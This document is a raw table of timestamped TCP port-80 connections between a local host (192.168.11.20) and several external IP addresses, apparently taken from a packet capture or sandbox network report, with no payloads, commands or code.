Oct 8, 2024 15:24:29.090182066 CEST	49780	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:30.410842896 CEST	49780	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:31.428407907 CEST	49781	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:31.607999086 CEST	80	49781	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:31.608206987 CEST	49781	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:31.616234064 CEST	49781	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:31.795490980 CEST	80	49781	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:31.796224117 CEST	80	49781	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:31.796233892 CEST	80	49781	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:31.796397924 CEST	49781	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:33.129002094 CEST	49781	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:34.146589994 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:34.326478004 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.326745033 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:34.334873915 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:34.334958076 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:34.514986992 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.515041113 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.515052080 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.515060902 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.516006947 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.516017914 CEST	80	49782	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:34.516211987 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:35.847131968 CEST	49782	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:36.864701986 CEST	49783	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:37.043832064 CEST	80	49783	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:37.044009924 CEST	49783	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:37.049057961 CEST	49783	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:37.227955103 CEST	80	49783	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:37.228836060 CEST	80	49783	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:37.228846073 CEST	80	49783	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:37.229124069 CEST	49783	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:37.231060982 CEST	49783	80	192.168.11.20	188.94.252.140
Oct 8, 2024 15:24:37.409838915 CEST	80	49783	188.94.252.140	192.168.11.20
Oct 8, 2024 15:24:42.379707098 CEST	49784	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:42.489087105 CEST	80	49784	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:42.489227057 CEST	49784	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:42.496679068 CEST	49784	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:42.605227947 CEST	80	49784	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:42.606559992 CEST	80	49784	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:42.606569052 CEST	80	49784	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:42.606766939 CEST	49784	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:44.001584053 CEST	49784	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:45.019104004 CEST	49785	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:45.129616022 CEST	80	49785	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:45.129892111 CEST	49785	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:45.137485027 CEST	49785	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:45.247453928 CEST	80	49785	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:45.247586012 CEST	80	49785	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:45.247596979 CEST	80	49785	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:45.247751951 CEST	49785	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:46.641649008 CEST	49785	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:47.659209013 CEST	49786	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:47.768037081 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.768209934 CEST	49786	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:47.775758028 CEST	49786	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:47.775818110 CEST	49786	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:47.884265900 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.884339094 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.884347916 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.884423018 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.884574890 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:47.884582996 CEST	80	49786	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:50.299540997 CEST	49787	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:50.409102917 CEST	80	49787	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:50.409437895 CEST	49787	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:50.414541006 CEST	49787	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:50.524262905 CEST	80	49787	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:50.524312019 CEST	80	49787	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:50.524347067 CEST	80	49787	3.131.150.69	192.168.11.20
Oct 8, 2024 15:24:50.524512053 CEST	49787	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:50.528522015 CEST	49787	80	192.168.11.20	3.131.150.69
Oct 8, 2024 15:24:50.637550116 CEST	80	49787	3.131.150.69	192.168.11.20
Oct 8, 2024 15:25:00.653795004 CEST	49788	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:00.753599882 CEST	80	49788	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:00.753860950 CEST	49788	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:00.769273043 CEST	49788	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:00.869160891 CEST	80	49788	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:00.871258974 CEST	80	49788	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:00.871354103 CEST	49788	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:02.278784990 CEST	49788	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:02.378514051 CEST	80	49788	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:03.296391010 CEST	49789	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:03.396282911 CEST	80	49789	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:03.396480083 CEST	49789	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:03.403951883 CEST	49789	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:03.503995895 CEST	80	49789	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:03.506130934 CEST	80	49789	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:03.506247044 CEST	49789	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:04.918833017 CEST	49789	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:05.018778086 CEST	80	49789	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:05.936430931 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.035780907 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.035929918 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.043550968 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.043598890 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.043648958 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.043817997 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:06.143033981 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143342018 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143480062 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143491030 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143590927 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143601894 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:06.143733978 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:07.041779995 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:07.041929960 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:07.558895111 CEST	49790	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:07.658390045 CEST	80	49790	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.576601982 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.676662922 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.676884890 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.682029009 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.782098055 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.785634041 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.785732031 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.785882950 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.788022041 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.790714979 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:08.790855885 CEST	49791	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:25:08.888062000 CEST	80	49791	3.33.130.190	192.168.11.20
Oct 8, 2024 15:25:13.921927929 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:14.016232967 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.016453028 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:14.023888111 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:14.118210077 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.125710964 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.125725985 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.125758886 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.125890970 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:14.131047964 CEST	80	49792	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:14.131166935 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:15.525909901 CEST	49792	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.543509007 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.637754917 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.637923956 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.645359039 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.739510059 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.747128010 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.747206926 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.747344971 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.747371912 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.747446060 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:16.753186941 CEST	80	49793	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:16.753439903 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:18.150348902 CEST	49793	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.167942047 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.266774893 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.266931057 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.274538994 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.274611950 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.274663925 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.369321108 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369332075 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369340897 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369349003 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369358063 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369365931 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.369375944 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.376651049 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.376703024 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.376727104 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.376873016 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:19.381375074 CEST	80	49794	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:19.381499052 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:20.790381908 CEST	49794	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:21.808309078 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:21.902432919 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:21.902599096 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:21.908394098 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:22.002820015 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:22.010641098 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:22.010752916 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:22.010762930 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:22.011037111 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:22.012999058 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:22.016725063 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:22.016874075 CEST	49795	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:22.107089043 CEST	80	49795	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.101285934 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.195624113 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.195858002 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.200890064 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.295134068 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.302916050 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.302931070 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.302966118 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.303211927 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.305138111 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.308614016 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:30.308840990 CEST	49796	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:25:30.399231911 CEST	80	49796	199.59.243.227	192.168.11.20
Oct 8, 2024 15:25:35.321780920 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:36.333834887 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:38.348988056 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:42.363732100 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:50.377620935 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:57.411643028 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:25:58.422712088 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:00.437906981 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:04.452646971 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:12.466511965 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:19.500057936 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:20.511666059 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:22.526818037 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:26.541517973 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:34.555433989 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:41.587575912 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:42.600507975 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:44.615721941 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:48.630434036 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:26:56.644294977 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:27:07.675538063 CEST	49797	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:07.775156021 CEST	80	49797	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:07.775336027 CEST	49797	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:07.783078909 CEST	49797	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:07.882529974 CEST	80	49797	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:07.884753942 CEST	80	49797	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:07.884893894 CEST	49797	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:09.297837973 CEST	49797	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:09.397260904 CEST	80	49797	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:10.315459967 CEST	49798	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:10.414908886 CEST	80	49798	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:10.415172100 CEST	49798	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:10.422785044 CEST	49798	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:10.522660971 CEST	80	49798	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:11.425793886 CEST	80	49798	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:11.425966024 CEST	49798	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:11.937854052 CEST	49798	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:12.037096977 CEST	80	49798	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:12.955451965 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:13.055346012 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.055594921 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:13.063162088 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:13.063210964 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:13.063262939 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:13.163044930 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163204908 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163326979 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163336992 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163345098 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163577080 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.163585901 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.164954901 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:13.165122032 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:14.577919960 CEST	49799	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:14.677721977 CEST	80	49799	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.595487118 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.694765091 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.694912910 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.699953079 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.799119949 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.804027081 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.804136038 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.804310083 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.806181908 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.808163881 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:15.808262110 CEST	49800	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:15.905361891 CEST	80	49800	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:20.813173056 CEST	49801	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:20.912652969 CEST	80	49801	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:20.912816048 CEST	49801	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:20.920254946 CEST	49801	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:21.019639015 CEST	80	49801	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:21.921494007 CEST	80	49801	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:21.921725035 CEST	49801	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:22.435548067 CEST	49801	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:22.535037994 CEST	80	49801	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:23.453100920 CEST	49802	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:23.552514076 CEST	80	49802	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:23.552756071 CEST	49802	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:23.560380936 CEST	49802	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:23.659441948 CEST	80	49802	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:23.660572052 CEST	80	49802	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:23.660804987 CEST	49802	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:25.075666904 CEST	49802	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:25.174906015 CEST	80	49802	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.093197107 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:26.192482948 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.192756891 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:26.200412035 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:26.200455904 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:26.299910069 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.299938917 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.299947023 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.299954891 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.300142050 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.300153971 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.300163031 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.301564932 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:26.301692009 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:27.715768099 CEST	49803	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:27.815299988 CEST	80	49803	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.735106945 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:28.835078955 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.835231066 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:28.840235949 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:28.939903975 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.943722963 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.943823099 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.943955898 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:28.945867062 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:28.948520899 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:28.948791981 CEST	49804	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:29.045845032 CEST	80	49804	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:33.950879097 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:34.050215006 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:34.050446987 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:34.057888985 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:34.157222986 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:34.159836054 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:34.160001993 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:35.573312044 CEST	49805	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:35.672607899 CEST	80	49805	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:36.590893030 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:36.690769911 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:36.690920115 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:36.698362112 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:36.798230886 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:38.213342905 CEST	49806	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:38.354520082 CEST	80	49806	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.230967999 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:39.330755949 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.330934048 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:39.338555098 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:39.338604927 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:39.338654041 CEST	49807	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:27:39.438131094 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.438232899 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.438529015 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.438540936 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.438551903 CEST	80	49807	3.33.130.190	192.168.11.20
Oct 8, 2024 15:27:39.438560009 CEST	80	49807	3.33.130.190	192.168.11.20
